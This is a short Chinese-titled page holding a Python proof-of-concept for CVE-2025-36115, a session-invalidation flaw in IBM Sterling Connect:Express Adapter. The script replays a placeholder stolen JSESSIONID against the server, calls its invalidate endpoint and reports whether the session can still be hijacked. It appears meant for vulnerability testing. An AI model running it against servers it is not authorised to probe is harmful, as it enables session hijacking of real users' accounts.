CVE-2025-36115 IBM Sterling Connect:Express Adapter 会话劫持漏洞

# CVE-2025-36115 PoC - Session Hijacking # Target: IBM Sterling Connect:Express Adapter # Affected Versions: 5.2.0.00 - 5.2.0.12 import requests import sys TARGET_URL = "https://target-ibm-server:8443" SESSION_ENDPOINT = "/SterlingConnectExpress/session" ATTACKER_SESSION = "attacker_obtained_session_id" def check_session_invalidation(): """ Check if session ID remains valid after use """ headers = { "Cookie": f"JSESSIONID={ATTACKER_SESSION}", "Content-Type": "application/json" } # Step 1: Verify session is active response1 = requests.get( f"{TARGET_URL}{SESSION_ENDPOINT}/status", headers=headers, verify=False, timeout=30 ) if response1.status_code == 200: print("[+] Session is active - vulnerability may be present") # Step 2: Simulate legitimate user operations requests.post( f"{TARGET_URL}{SESSION_ENDPOINT}/invalidate", headers=headers, verify=False ) # Step 3: Check if session is still accessible response2 = requests.get( f"{TARGET_URL}{SESSION_ENDPOINT}/status", headers=headers, verify=False ) if response2.status_code == 200: print("[!] VULNERABLE: Session not invalidated after use") print("[!] Attacker can hijack this session") return True else: print("[-] Session properly invalidated - not vulnerable") return False return False if __name__ == "__main__": print("CVE-2025-36115 Session Hijacking Test") print("=" * 50) check_session_invalidation()